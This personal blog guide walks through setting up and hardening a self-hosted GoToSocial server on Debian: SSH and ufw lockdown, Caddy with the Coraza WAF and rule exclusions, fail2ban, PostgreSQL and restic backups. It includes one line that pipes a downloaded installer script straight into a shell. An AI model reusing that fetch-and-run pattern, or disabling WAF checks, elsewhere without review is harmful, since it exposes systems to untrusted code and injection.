ovelny

A complete guide for your GoToSocial server

2025-01-06T00:00:00Z

Last update: 01 April 2026.
An updated guide can be found on my wiki, this one being left as-is to avoid spamming my RSS feed.

GoToSocial is an ActivityPub server that lets you interact with your friends on the Fediverse. It's written in Golang and is very lightweight compared to other softwares, especially Mastodon. It's not particularly designed to host large communities, sure, but it has the advantage of being easier to maintain and can run on any cheap VPS: 1 CPU core, 1 GB of memory and 15-20GB of available space is all you need. Even a single-board computer will do.

Plus, it has an amazing set of requirements for corporate sponsorship! Something that many open-source projects should take a page from.

For all these reasons, I picked this server for my upcoming single-user instance. It might grow and host a few folks later on, but a large userbase is definitely not something I'll need.

The official documentation is already exhaustive, but I want to make an attempt at a fully fledged guide, one that covers more than the instance setup:

Initial VPS setup and hardening.
Reverse proxying with Caddy.
More hardening with fail2ban.
Additional rate limiting (optional).
Web Application Firewall setup with OWASP Coraza.
Automated backups with restic.

We will also set up GoToSocial with a split-domain deployment, so we can have usernames like @user@example.net, even if the instance is running on a subdomain such as gts.example.net. That way, you can use the domain for anything else you want, such as a custom landing page.

This guide is provider-agnostic, but we will use Debian (currently version 12) on top of the aforementioned tools.

Important note: all fields surrounded by brackets in this guide, like <this>, are values to replace accordingly, depending on context that will be specified.

Let's get started, assuming you already got a domain and subdomain tied to your VPS IP. Even if this guide aims for completeness, don't hesitate to search and investigate for more details, and be sure to check the references at the end.

Basic VPS setup and hardening

Your provider most likely has a dashboard to let you upload your SSH public key, so you can SSH in your VPS once it's deployed. Let's log in with ssh root@<VPS IP address> and work on hardening the server first:

# Create a user for yourself and
# grant it admin privileges:
adduser <username>
usermod -aG sudo <username>

# Switch to your newly created user:
su <username>

# Move root's authorized_keys so you can SSH with this user:
mkdir ~/.ssh
sudo mv /root/.ssh/authorized_keys ~/.ssh/

# Change permissions accordingly:
sudo chown <username>:<username> ~/.ssh/authorized_keys
chmod 700 ~/.ssh

# Set root shell to nologin and lock the account:
sudo usermod root --shell /sbin/nologin
sudo passwd --lock root

# Update everything:
sudo apt update && sudo apt full-upgrade

# Install and setup ufw:
sudo apt install ufw
sudo ufw default deny outgoing comment 'Deny all outgoing traffic'
sudo ufw default deny incoming comment 'Deny all incoming traffic'
sudo ufw limit in ssh # we don't wanna lock ourselves out, do we?
sudo ufw allow out 53 comment 'Allow DNS calls out'
sudo ufw allow out 123 comment 'Allow NTP out'
sudo ufw allow out http comment 'Allow HTTP traffic out'
sudo ufw allow out https comment 'Allow HTTPS traffic out'
sudo ufw allow out ntp comment 'Allow NTP traffic out'
sudo ufw allow out whois comment 'Allow WHOIS'
sudo ufw allow in http # for GoToSocial
sudo ufw allow in https # for Caddy

# If your server uses DHCP, run the following too:
sudo ufw allow out 67 comment 'Allow the DHCP client to update'
sudo ufw allow out 68 comment 'Allow the DHCP client to update'

# Enable ufw:
sudo ufw enable
sudo ufw status verbose # check that everything is set up

# Set up your timezone:
sudo apt install systemd-timesyncd
sudo systemctl status systemd-timesyncd # check if service is loaded and active
sudo timedatectl set-ntp true # enable it if required
# Replace <your timezone> with any value found by running `timedatectl list-timezones`:
sudo timedatectl set-timezone <your timezone>

# Set up unattended-upgrades:
sudo apt install unattended-upgrades
sudo systemctl status unattended-upgrades # check if service is loaded and active

# Set up fail2ban:
sudo apt install fail2ban
sudo systemctl status fail2ban # check if fail2ban is loaded and active

# Create a group for SSH users, for easier management:
sudo groupadd sshusers

# Create a group to limit su usage:
sudo groupadd suusers

# Restrict /bin/su usage to members of suusers group:
sudo dpkg-statoverride --update --add root suusers 4750 /bin/su

# Add ourselves to both groups:
sudo usermod -aG sshusers <username>
sudo usermod -aG suusers <username>

# Configure swap space and swappiness.
# A decent rule of thumb for swap space is the following:
# * Less than 2GB of RAM: swap == RAM * 2.
# * More than 2GB of RAM: swap == RAM, up to 8G.
# Use free -h to get your current swap space.
sudo fallocate -l <swap size, i.e. 4G> /swapfile
ls -lsah /swapfile # make sure the correct amount of space has been allocated
sudo chmod 600 /swapfile # make file only accessible by root
sudo mkswap /swapfile # define file as swap space
sudo swapon /swapfile # enable swap space
sudo swapon --show # check that swap is available
free -h # check again with free, just in case
sudo cp /etc/fstab /etc/fstab.bak # backup fstab file in case anything goes wrong
echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab # add swap file permanently to /etc/fstab
cat /proc/sys/vm/swappiness # check current swappiness value
sudo sysctl vm.swappiness=10 # change swappiness for a server value, to avoid swapping too early
sudo vi /etc/sysctl.conf # edit settings to make this change permanent
vm.swappiness=10 # add the following line at the very bottom of sysctl.conf

Next, remove everything in /etc/ssh/sshd_config and replace it with the following. Be sure to change <XXXX> in the first line with a port number of your choice. This is merely security by obscurity, but changing it is easy and may avoid some log spam:

Port <XXXX>
Protocol 2
LoginGraceTime 1m
MaxAuthTries 3
MaxSessions 2
MaxStartups 2
ClientAliveInterval 180
ClientAliveCountMax 0
LogLevel VERBOSE
PermitRootLogin no
PermitUserEnvironment no
PubkeyAuthentication yes
PasswordAuthentication no
PermitEmptyPasswords no
ChallengeResponseAuthentication no
AllowGroups sshusers
X11Forwarding no
UsePAM yes
AllowTcpForwarding no
AllowStreamLocalForwarding no
GatewayPorts no
PermitTunnel no
IgnoreRhosts yes
HostbasedAuthentication no
UseDNS yes
Compression no
TCPKeepAlive no
AllowAgentForwarding no
PrintMotd no
PrintLastLog no

Allow your custom SSH port in ufw with sudo ufw limit in <XXXX>/tcp. Delete your previous SSH rules with sudo ufw status numbered and choosing the rule's IDs with sudo ufw delete <ID>. Be sure to also delete the (v6) rules.

Apply changes by restarting sshd with sudo systemctl restart ssh. Check that your custom port has been applied with sudo systemctl status ssh.

Create /etc/fail2ban/jail.local with the following configuration, be sure to specify the same SSH port we used in /etc/ssh/sshd_config:

[DEFAULT]
bantime = 1d
findtime = 1d
maxretry = 3
backend = auto
banaction = ufw

[sshd]
enabled = true
port = <XXXX>

Apply changes by restarting fail2ban with sudo systemctl restart fail2ban. Check that the service is active and loaded with sudo systemctl status fail2ban.

This might be a good time to log out and log back in, just to check that everything is working as expected. Make sure to use your username and custom port to log back in.

Base packages installation

Before configuring anything, let's install the base packages you will need with the following commands:

# Install required apt packages:
sudo apt install debian-keyring debian-archive-keyring curl apt-transport-https restic gpg gpg-agent pinentry-tty libnss3-tools git man-db postgresql postgresql-contrib sshpass

# Update restic to latest version:
sudo restic self-update

# Add cloudsmith repo for xcaddy:
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/xcaddy/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-xcaddy-archive-keyring.gpg
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/xcaddy/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-xcaddy.list

# Install xcaddy:
sudo apt update
sudo apt install xcaddy

# Install go with g: https://github.com/stefanmaric/g
# Read the script first before running it, and pick
# default settings along with latest go version install:
curl -sSL https://git.io/g-install | sh -s

# Apply changes made to $PATH:
source ~/.bashrc

# Install gopass:
go install github.com/gopasspw/gopass@latest

# Install gotop. It's a graphical activity monitor I like,
# completely optional:
go install github.com/xxxserxxx/gotop/v4/cmd/gotop@latest

xcaddy setup

To install Caddy, let's use xcaddy so you can build it with additional plugins: the ones you must pick for this guide are caddy-ratelimit, transform-encoder and coraza-caddy, respectively for rate limiting, easier log parsing with fail2ban, and Coraza WAF.

# Build caddy with ratelimit, transform-encoder and Coraza WAF plugins.
# The environment variable is used to fix a RAM consumption issue with
# Coraza, as shown here: https://github.com/corazawaf/coraza-caddy/issues/76
XCADDY_GO_BUILD_FLAGS='-tags=memoize_builders' xcaddy build --with github.com/mholt/caddy-ratelimit --with github.com/caddyserver/transform-encoder --with github.com/corazawaf/coraza-caddy/v2

# Create a system group for caddy:
sudo groupadd --system caddy

# Create a system user for caddy:
sudo useradd --system \
    --gid caddy \
    --create-home \
    --home-dir /var/lib/caddy \
    --shell /usr/sbin/nologin \
    --comment 'Caddy web server' \
    caddy

# Limit permissions for caddy binary
# and move it into $PATH:
sudo chmod u=x,g=x,o-rwx caddy
sudo chown caddy:caddy caddy
sudo mv caddy /usr/bin/

Add the following systemd unit file in /etc/systemd/system/caddy.service, which can be found here. Let's just add restart directives to it, in case it crashes:

[Unit]
Description=Caddy
Documentation=https://caddyserver.com/docs/
After=network.target network-online.target
Requires=network-online.target

[Service]
Type=notify
User=caddy
Group=caddy
LogsDirectory=caddy
LogsDirectoryMode=0700
ExecStart=/usr/bin/caddy run --environ --config /etc/caddy/Caddyfile
ExecReload=/usr/bin/caddy reload --config /etc/caddy/Caddyfile --force
RestartPreventExitStatus=1
Restart=on-failure
RestartSec=5s
TimeoutStopSec=5s
LimitNOFILE=1048576
PrivateTmp=true
ProtectSystem=full
AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE

[Install]
WantedBy=multi-user.target

Create an empty CaddyFile and its directory for the service you just created. This file will contain all of your reverse proxying logic:

sudo mkdir /etc/caddy
sudo touch /etc/caddy/Caddyfile
sudo chown -R caddy:caddy /etc/caddy # limit owner and group to caddy
sudo chmod o-rwx /etc/caddy/Caddyfile # change permissions accordingly

Let's make a quick test by adding the following in your /etc/caddy/Caddyfile:

localhost:8089 {
        respond "hey there"
}

You're now ready to start the service and see if it runs:

sudo systemctl daemon-reload
sudo systemctl enable --now caddy
systemctl status caddy # check if caddy is loaded and active

If caddy is working as expected, run the following to install the root CA certificate and check your Caddyfile test:

sudo caddy trust
curl https://localhost:8089

If you got a response, you have your basic setup! Let's stop caddy for now with sudo caddy stop until you have a complete Caddyfile.

PostgreSQL installation and setup

We will use PostgreSQL as the database of your GoToSocial instance: while more complex, it can be the right choice in case your instance grows larger than anticiped. For small instances, SQLite can be used, but keep in mind that migrating from SQLite to PostgreSQL or the other way around is a manual process, and can quickly become a nightmare on its own.

# Start and enable PostgreSQL service:
sudo systemctl start postgresql.service
sudo systemctl enable postgresql.service

# Check that PostgreSQL is running:
sudo systemctl status postgresql.service

Optional: PostgreSQL full vacuuming

Over time, your gotosocial database will grow and part of that space will be MVCC bloat. You can reclaim that space for the OS with VACUUM FULL, but you will need to stop gotosocial service during the process, as it requires an exclusive lock.

Usually this would be overkill. It's even sometimes considered bad practice. But for a small VPS like ours, it can be useful to save as much space as possible if you don't care about extra downtime.

Using vacuumdb, we can create a weekly systemd service and timer for this purpose.

Create a file named /etc/systemd/system/pg-fullvacuum.service with the following configuration:

[Unit]
Description=PostgreSQL full vacuum, freeze and analyze
Requires=postgresql.service
After=postgresql.service

[Service]
Type=oneshot
ExecStartPre=systemd-inhibit --who="gotosocial-service-stop" --what="sleep:shutdown" --why="Prevent interrupting postgres full vacuum" /usr/bin/systemctl stop gotosocial
ExecStart=systemd-inhibit --who="vacuumdb-cleanup" --what="sleep:shutdown" --why="Prevent interrupting postgres full vacuum" runuser -u postgres -- /usr/bin/vacuumdb --all --full --freeze --analyze
ExecStartPost=systemd-inhibit --who="gotosocial-service-start" --what="sleep:shutdown" --why="Prevent interrupting postgres full vacuum" /usr/bin/systemctl start gotosocial
ExecStopPost=systemd-inhibit --who="gotosocial-service-start" --what="sleep:shutdown" --why="Prevent interrupting postgres full vacuum" /usr/bin/systemctl start gotosocial

Create a file named /etc/systemd/system/pg-fullvacuum.timer with the following configuration. Change the time the service will run each week if you want to:

[Unit]
Description=Run PostgreSQL vacuum weekly

[Timer]
OnCalendar=Sat 04:00

[Install]
WantedBy=timers.target

If you do opt for a weekly full vacuum, run sudo systemctl start pg-fullvacuum.timer and sudo systemctl enable pg-fullvacuum.timer at the very end of this guide, when everything else is set up.

GoToSocial installation and setup

Just like caddy, let's make a system group and user for GoToSocial:

# Create a system group for gotosocial:
sudo groupadd --system gotosocial

# Create a system user for gotosocial:
sudo useradd --system \
    --gid gotosocial \
    --create-home \
    --home-dir /var/lib/gotosocial \
    --shell /usr/sbin/nologin \
    --comment 'GoToSocial server' \
    gotosocial

Then, let's download and extract GoToSocial:

# Create the default hierarchy:
sudo mkdir -p /var/lib/gotosocial/storage/certs
sudo mkdir -p /var/lib/gotosocial/.config
sudo mkdir -p /var/lib/gotosocial/.cache

# Download GoToSocial.
# Get the latest version here and change it accordingly below: https://codeberg.org/superseriousbusiness/gotosocial/releases
cd /var/lib/gotosocial
sudo wget https://codeberg.org/superseriousbusiness/gotosocial/releases/download/v0.21.2/gotosocial_0.21.2_linux_amd64.tar.gz

# Grab the checksum file too:
sudo wget https://codeberg.org/superseriousbusiness/gotosocial/releases/download/v0.21.2/checksums.txt

# Check if checksum matches the one corresponding to your version:
cat checksums.txt
sha256sum gotosocial_0.21.2_linux_amd64.tar.gz

# All good? Then let's extract the archive:
sudo tar -xzf gotosocial_0.21.2_linux_amd64.tar.gz

# Move the config example file in the /.config directory and
# change permissions accordingly:
sudo mv /var/lib/gotosocial/example/config.yaml /var/lib/gotosocial/.config/
sudo chmod o-rwx /var/lib/gotosocial/.config/config.yaml

# Move the systemd unit file example to /etc/systemd/system/:
sudo mv /var/lib/gotosocial/example/gotosocial.service /etc/systemd/system/

# Move the binary to $PATH and change permissions accordingly:
sudo chmod u=x,g=x,o-rwx /var/lib/gotosocial/gotosocial
sudo chown gotosocial:gotosocial /var/lib/gotosocial/gotosocial
sudo mv /var/lib/gotosocial/gotosocial /usr/bin/

# Do a bit of cleanup in /var/lib/gotosocial:
sudo rm -rf /var/lib/gotosocial/checksums.txt /var/lib/gotosocial/example/ /var/lib/gotosocial/gotosocial_0.21.2_linux_amd64.tar.gz

# Finally, set permissions for user and group gotosocial, so only
# them can own /var/lib/gotosocial:
sudo chown -R gotosocial:gotosocial /var/lib/gotosocial

Now, let's configure your instance settings and the systemd unit file. Change, and uncomment if necessary, the following settings in /etc/systemd/system/gotosocial.service:

Environment="GTS_WAZERO_COMPILATION_CACHE=/var/lib/gotosocial/.cache"
ExecStart=/usr/bin/gotosocial --config-path /var/lib/gotosocial/.config/config.yaml server start
WorkingDirectory=/var/lib/gotosocial

Change, and uncomment if necessary, the following settings in /var/lib/gotosocial/.config/config.yaml. Replace example.net with your own domain name:

host: gts.example.net
account-domain: example.net
letsencrypt-enabled: false
bind-address: "localhost"
web-template-base-dir: "/var/lib/gotosocial/web/template/"
web-asset-base-dir: "/var/lib/gotosocial/web/assets/"
storage-local-base-path: "/var/lib/gotosocial/storage"

We'll come back later to this config file for a few more settings.

Getting coreruleset and coraza config

For coraza-caddy to work properly as a WAF, you must download its rules and config and include them later on. There is a newer way to load them, as described in the README, but it simply didn't work in my case. The "old" method is also more modular if we ever need to create / update / delete some rules, as they're just editable config files. Let's opt for that method.

To download the rules, let's do the following:

# Create directory and clone coreruleset, as well
# as corazawaf for its config:
cd /etc/caddy
sudo mkdir waf && cd waf
sudo git clone https://github.com/coreruleset/coreruleset.git
sudo git clone https://github.com/corazawaf/coraza.git

# Set owner and group of /etc/caddy to caddy:
sudo chown -R caddy:caddy /etc/caddy

You also need to edit coreruleset's setup to accept more HTTP methods. In /etc/caddy/waf/coreruleset/crs-setup.conf.example, uncomment the following rule:

#SecAction \
#    "id:900200,\
#    phase:1,\
#    pass,\
#    t:none,\
#    nolog,\
#    tag:'OWASP_CRS',\
#    ver:'OWASP_CRS/4.10.0-dev',\
#    setvar:'tx.allowed_methods=GET HEAD POST OPTIONS'"

And add PUT, PATCH, DELETE and CONNECT methods, like the following:

SecAction \
    "id:900200,\
    phase:1,\
    pass,\
    t:none,\
    nolog,\
    tag:'OWASP_CRS',\
    ver:'OWASP_CRS/4.13.0-dev',\
    setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE CONNECT'"

Also, we need to explicitely allow the mimetypes used by GoToSocial, as shown here.

In the same file, we will uncomment and replace the following rule:

#SecAction \
#    "id:900220,\
#    phase:1,\
#    pass,\
#    t:none,\
#    nolog,\
#    tag:'OWASP_CRS',\
#    ver:'OWASP_CRS/4.13.0-dev',\
#    setvar:'tx.allowed_request_content_type=|application/x-www-form-urlencoded| |multipart/form-data| |text/xml| |application/xml| |application/soap+xml| |application/json|'"

With this rule:

SecAction \
    "id:900220,\
    phase:1,\
    pass,\
    t:none,\
    nolog,\
    tag:'OWASP_CRS',\
    ver:'OWASP_CRS/4.13.0-dev',\
    setvar:'tx.allowed_request_content_type=|application/x-www-form-urlencoded| |multipart/form-data| |text/xml| |application/xml| |application/soap+xml| |application/json| |application/xrd+xml| |application/rss+xml| |application/activity+json| |application/ld+json| |application/jrd+json| |text/html| |text/css| |text/csv| |text/plain|'"

Above the rule we just created, add the following exclusion rules:

# If these exclusion rules don't work anymore, try a search on https://semaphore.social/search to trigger
# the issue with this content-type. This headache is documented a bit here:
# * https://github.com/coreruleset/coreruleset/issues/3605
# * https://github.com/coreruleset/coreruleset/issues/3497

SecRule REQUEST_HEADERS:Content-Type "@contains https://www.w3.org/ns/activitystreams" \
    "id:1234,\
    phase:1,\
    pass,\
    t:none,\
    nolog,\
    tag:'OWASP_CRS',\
    ctl:ruleRemoveById=920470,\
    ctl:ruleRemoveById=920420"

SecRule REQUEST_HEADERS:Accept "@contains https://www.w3.org/ns/activitystreams" \
    "id:1235,\
    phase:1,\
    pass,\
    t:none,\
    nolog,\
    tag:'OWASP_CRS',\
    ctl:ruleRemoveById=920600"

SecRule REQUEST_FILENAME "@rx ^/users/.*/inbox$" \
    "id:1236,\
    phase:1,\
    t:none,\
    pass,\
    nolog,\
    ctl:ruleRemoveByTag=OWASP_CRS;ARGS:json.signature.signature"

SecRule REQUEST_FILENAME "@rx ^/api/.*/statuses$" \
    "id:1237,\
    phase:1,\
    t:none,\
    pass,\
    nolog,\
    ctl:ruleRemoveByTag=OWASP_CRS;ARGS:json.status"

The reason for these exclusions is that Coraza WAF really, really don't like Content-Type headers with values such as application/ld+json; profile="https://www.w3.org/ns/activitystreams", but those are used with ActivityPub and are expected.

The last two exclusion rules are needed to avoid false positives with posts containing code or special characters. By default, Coraza WAF will treat them as potential injection attempts. More info can be found here.

Our WAF should now work nicely with GoToSocial.

Putting it all together

You're now ready to reverse proxy GoToSocial with Caddy. The following Caddyfile should replace the quick test made in /etc/caddy/Caddyfile earlier. GoToSocial has rate limiting by default, but we'll harden the auth/sign_in endpoint in the next fail2ban section. Other settings are also commented. Don't forget to replace your-email@example.net with, well, your email address, as well as example.net with your domain name. It's not necessary for your email address to be from the same domain as your instance.

Take your time and make sure you replace example.net everywhere! Your configuration has to be right before federating with people. Your domain can't be changed afterwards unless every other admin messes with their own database to resolve it.

# Specify the email that will be used for the TLS certificates, and
# set up proper order settings.
{
        email your-email@example.net
        order coraza_waf first
        order rate_limit before basic_auth
}

# Common snippet for various base settings.
(common) {
        # Remove 'Server:' response header to avoid exposing Caddy usage.
        header /* {
                -Server
        }

        # Log requests in common log format, each host with their own file.
        # This will permit easier parsing with fail2ban.
        log {
                format transform "{common_log}"
                output file /var/log/caddy/{args[0]}.access.log {
                        roll_keep_for 30d
                }
        }

        # Compress traffic with proper protocols.
        encode zstd gzip
}

# Coraza WAF rules.
(waf) {
        coraza_waf {
                directives `
                Include /etc/caddy/waf/coraza/coraza.conf-recommended
                Include /etc/caddy/waf/coreruleset/crs-setup.conf.example
                Include /etc/caddy/waf/coreruleset/rules/*.conf
                SecRuleEngine On
                `
        }
}

example.net {
        import common example.net
        import waf

        # Required redirections for split-domain deployment.
        redir /.well-known/host-meta* https://gts.example.net{uri} permanent
        redir /.well-known/webfinger* https://gts.example.net{uri} permanent
        redir /.well-known/nodeinfo* https://gts.example.net{uri} permanent
}

gts.example.net {
        import common gts.example.net
        import waf

        # Reverse proxying the rest of our GoToSocial instance normally.
        reverse_proxy http://localhost:8080 {
                # Flush immediately and prevent buffered response to the client.
                flush_interval -1
        }
}

Run sudo -u caddy caddy validate --config /etc/caddy/Caddyfile to check that your Caddyfile has no errors, and sudo -u caddy caddy fmt --overwrite /etc/caddy/Caddyfile to properly format it.

Note: if caddy's validation returns an error similar to invalid WAF config from string: failed to parse string: <...>, this is likely because some default WAF rules cannot be used with our server. I'm honestly at a bit of a loss as to how to fix this for the moment. You can keep proceeding anyway, as long as no other errors are found.

Next, let's create the default PostgreSQL database for your GoToSocial instance:

# Switch to postgres system account:
sudo -i -u postgres

# Access postgreSQL prompt:
psql

# Create GoToSocial database, replacing the placeholder
# surrounded by brackets with a *strong*, *unique* password:
create database gotosocial with locale 'C.UTF-8' template template0;
create user gotosocial with password '<some really good password>';
grant all privileges on database gotosocial to gotosocial;

# Switch to gotosocial user:
\c gotosocial postgres

# Grant access to schema public for gotosocial user:
grant all on schema public to gotosocial;

# Check if the database has been created:
\l

You'll also need to add PostgreSQL settings in /var/lib/gotosocial/.config/config.yaml, specifying the strong password you created earlier. Make sure to keep it safely outside of your VPS, such as in a password manager:

db-type: "postgres"
db-address: "127.0.0.1"
db-port: 5432
db-user: "gotosocial"
db-password: "<some really good password>"
db-database: "gotosocial"

Additional hardening with fail2ban

You can use fail2ban to temporarily ban IPs trying to bruteforce the authentication endpoint. Create a filter rule with sudo vi /etc/fail2ban/filter.d/gotosocial-auth.conf:

[Definition]
failregex = statusCode=401 path=/auth/sign_in clientIP=<HOST> .* msg=\"Unauthorized:
ignoreregex =

Then, add the following entries at the bottom of /etc/fail2ban/jail.local:

[gotosocial-auth]
enabled = true
logpath = /var/log/syslog
port = http,https

As per default settings set earlier, this will ban the offending IPs for a day if they fail to authenticate thrice in a day.

I tried to harden my instance even further by banning excessive 403 responses, but that proved to be a bad idea: users banned by an instance will return 403s, and you will end up banning the instance's IP instead of the offending user. Ugh.

Restart fail2ban with sudo systemctl restart fail2ban to apply changes.

Rate limiting

So far, we haven't used caddy-ratelimit module for our instance: that's because GoToSocial already has this feature by default. So why did we even build caddy with this module?

Several possible reasons: we might need to limit network traffic even further if our instance is struggling at some point, or we might want the same kind of control for a future site / landing page. Simply put, it's too useful to not include it.

Taking our previous Caddyfile template, we might add an example.net site and only permit 500 requests per second in total:

example.net {
        import common example.net
        import waf

        # Required redirections for split-domain deployment.
        redir /.well-known/host-meta* https://gts.example.net{uri} permanent
        redir /.well-known/webfinger* https://gts.example.net{uri} permanent
        redir /.well-known/nodeinfo* https://gts.example.net{uri} permanent

        # Everything below this block will benefit from limited network
        # traffic. But our "redir" directives above won't.
        rate_limit {
                zone all {
                        match {
                                method GET
                        }
                        key static
                        events 500
                        window 1s
                }
        }

        # Serve files in /srv/www/example.net, with rate limiting.
        root * /srv/www/example.net
        file_server
}

You could apply the same kind of zone for your GoToSocial instance, if needed. More info about setting non-static limits can be found here.

For load testing and getting a good idea of what your server can or cannot handle, you can use Apache Bench. Make sure to run this tool from another machine and not your server for reliable results. On Debian, you can install it with sudo apt install apache2-utils.

Run a monitoring tool such as htop or gotop on your server, then run ab from your computer:

# Run 500 requests concurrently with KeepAlive enabled:
ab -n 500 -kc 500 https://gts.example.net/

# Run 500 requests concurrently without KeepAlive enabled:
ab -n 500 -c 500 https://gts.example.net/

Tweak those numbers around, watch the RAM and CPU usage for these requests, and draw your own conclusions about the best rate limit settings for your server!

All set for launch

All should be ready to run your instance. Hold your breath and start all services:

# Enable and start all services:
sudo systemctl enable postgresql fail2ban caddy gotosocial
sudo systemctl start postgresql fail2ban caddy gotosocial

# Check that all previous services are loaded and running:
sudo systemctl status postgresql fail2ban caddy gotosocial

Browse your domain such as https://gts.example.net. If you see the default page, congratulations! You can now check your configuration then setup your admin access.

Hardening checklist

Check that Coraza WAF is working by accessing https://gts.example.net/<script>: does this return a 403 error rather than 404?
Check that fail2ban is working on https://gts.example.net/auth/sign_in by entering nonexistent credentials thrice (no account have been created yet anyway). Does your IP get banned as shown in sudo ufw verbose? You can then unban it with sudo fail2ban-client set gotosocial-auth unbanip <IP>.

Admin setup

Let's create an admin user first:

# Create a regular account:
sudo -u gotosocial gotosocial \
    --config-path /var/lib/gotosocial/.config/config.yaml \
    admin account create \
    --username <username> \
    --email <email@example.net> \
    --password '<some very strong password>'

# Validate the account without email confirmation:
sudo -u gotosocial gotosocial \
    --config-path /var/lib/gotosocial/.config/config.yaml \
    admin account confirm --username <username>

# Promote the account to admin:
sudo -u gotosocial gotosocial \
    --config-path /var/lib/gotosocial/.config/config.yaml \
    admin account promote --username <username>

Log in with the admin account on https://gts.example.net/settings. Admin settings should now be accessible for this account.

Important: the first command you ran in this section could leak your account's password in ~/.bash_history: log out and log back in with SSH, open the file and remove the related lines if that's the case. Better safe than sorry.

Backing up your instance

Your instance will only be as reliable as your backups. Anything can fail at any moment and you should always be prepared for that.

Several methods for backups are listed in GoToSocial's documentation, with various advantages or disadvantages. Naturally, performing an entire backup directly from your VPS provider's interface is the easiest method, but that would require possibly more downtime to proceed and can easily become expensive.

I like to do the following backups:

Exports from GoToSocial CLI tool: it won't save statuses, media, faves, bookmarks, pins, applications and tokens, but it's very lightweight, so not much of an additional cost to keep them.
PostgreSQL dump, saving the entire database.
/var/lib/gotosocial/.config/config.yaml, for GoToSocial's config.
/etc/caddy, for Caddyfile and Coraza WAF.
/etc/fail2ban/jail.local and /etc/fail2ban/filter.d/gotosocial-4xx.conf.
/etc/systemd/system/caddy.service and /etc/systemd/system/gotosocial.service.

This means that if you were to lose everything, the only thing you would have to set up again is your VPS initial configuration: users, groups, firewall, sshd setup, caddy, gotosocial and PostgreSQL installation. Everything else will be restored.

We will use restic for this, which has encryption has a first-class feature and now supports compression. We will also use gopass to manage the passphrases of your encrypted backups. You've already installed everything you need earlier on, so let's get right to it.

Let's create a GPG key to manage the gopass password store. I'm aware GPG sucks, but our use is fairly limited here: encrypting and decrypting passwords, so we can call a gopass command rather than storing our restic passwords in plaintext. I would gladly use age instead, but it doesn't have an agent and we're looking to automate this.

# Create a keypair with gpg:
gpg --expert --pinentry-mode=loopback --full-gen-key

# * Choose "(9) ECC and ECC".
# * Choose "(1) Curve 25519".
# * Choose any expiration you desire for the key.
# * Enter required information, such as your email address.
# * Choose a strong and unique passphrase, and don't lose it!

# Export your public and private keys:
gpg --armor --export <username> > pubkey.asc
gpg --armor --export-secret-keys <username> > privkey.asc

# Keep them somewhere safe outside of your VPS, and *don't* lose them.
# Once copied, remove pubkey.asc and privkey.asc.

# Also add the following line at the end of ~/.bashrc:
export GPG_TTY=$(tty)

To make sure gpg-agent keeps your passphrase cached, create the following ~/.gnupg/gpg-agent.conf file:

default-cache-ttl 34560000
max-cache-ttl 34560000

To make sure the passphrase prompted by GPG will not use a GUI / TUI dialog box, we can choose pinentry we installed earlier as part of our base packages:

sudo update-alternatives --config pinentry

Choose pinentry-tty when prompted and you're done.

We will also need to make sure that the cache we set up can survive our sessions ending, logging out of ssh etc. To do this, run sudo loginctl enable-linger "$USER". Run loginctl user-status and check for Linger: yes to make sure this is enabled.

Kill gpg-agent (and let it restart automatically) with gpgconf --kill gpg-agent. This configuration will ensure that after your passphrase is entered once, it will stay cached for more than a year. You'll need this, as your fully automated backups won't run for long with the default cache ttl.

We can now create our password store and passwords with gopass. We will perform local backups and use Hetzner storage box for remote backups. We'll only pick this provider for the sake of this guide, as our configuration can be easily tweaked for any other provider:

# Run gopass initializer:
gopass setup --storage=fs

# * Select the private key we created earlier.
# * Don't add a git remote if asked.

# Create a secret for restic:
gopass create

# * Choose '[ 0] Website login' (this actually works for any kind of password).
# * Enter 'restic-local' in place of the website URL.
# * Enter your username.
# * Choose to generate a password: keep all default settings but pick ~64 characters or more.
# * You may get a warning about not having a clipboard, like xclip: no need for it here, so nothing to worry about.
# * Repeat this step once again with gopass create, and create a 'restic-hetzner' password.

Running gopass -o restic-local and gopass -o restic-hetzner should output your passwords now, which is what you'll use in your restic scripts. Copy these passwords somewhere safe, outside of your VPS. Don't lose them.

You should also log out and log back in, then run a gopass command again to make sure linger is working as expected.

Create the following scripts in your home directory:

mkdir ~/backups
touch ~/backups/restic-local ~/backups/restic-hetzner
chmod +x ~/backups/restic-local ~/backups/restic-hetzner

Here's what restic-local will look like. Don't forget to replace <username> accordingly:

#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'

# Environment variables for local restic repository:
export RESTIC_CACHE_DIR="/root/.cache/restic"
RESTIC_REPOSITORY="/home/<username>/backups/$(hostname)-vps-backup"
export RESTIC_REPOSITORY
export RESTIC_PASSWORD_COMMAND="sudo -u <username> /home/<username>/go/bin/gopass -o websites/restic-local/<username>"

if [[ $# -ne 0 ]]; then
    exec restic "$@"
    exit
fi

# Directories and files to save.
# Note: add "/etc/systemd/system/pg-fullvacuum.service" and "/etc/systemd/system/pg-fullvacuum.timer" if you chose to create this service.
PATHS=(
        "/etc/systemd/system/gotosocial.service"
        "/etc/systemd/system/restic.service"
        "/etc/systemd/system/restic.timer"
        "/etc/systemd/system/caddy.service"
        "/etc/ssh/sshd_config"
        "/var/lib/gotosocial"
        "/etc/caddy"
        "/etc/fail2ban/jail.local"
        "/etc/fail2ban/filter.d/gotosocial-auth.conf"
)

# Perform backups for directories and files:
for path in "${PATHS[@]}"; do
    restic backup "$path"
done

# Backup GoToSocial export:
sudo -u gotosocial gotosocial admin export --config-path /var/lib/gotosocial/.config/config.yaml --path /var/lib/gotosocial/export.json
restic backup /var/lib/gotosocial/export.json
rm /var/lib/gotosocial/export.json

# Backup postgreSQL dump:
restic backup --stdin-filename postgres.dump --stdin-from-command -- sudo -u postgres pg_dumpall --clean --if-exists

# Retention policy and cleanup:
restic forget --keep-daily 7 \
    --keep-weekly 4 \
    --keep-monthly 6 \
    --keep-yearly 1 \
    --prune

# Make a tar archive of your local restic repository,
# owned by your main user:
tar czf /home/<username>/backups/"$(hostname)"-vps-backup.tar.gz --directory=/home/<username>/backups "$(hostname)"-vps-backup
chown <username>:<username> /home/<username>/backups/"$(hostname)"-vps-backup.tar.gz

unset RESTIC_CACHE_DIR
unset RESTIC_REPOSITORY
unset RESTIC_PASSWORD_COMMAND

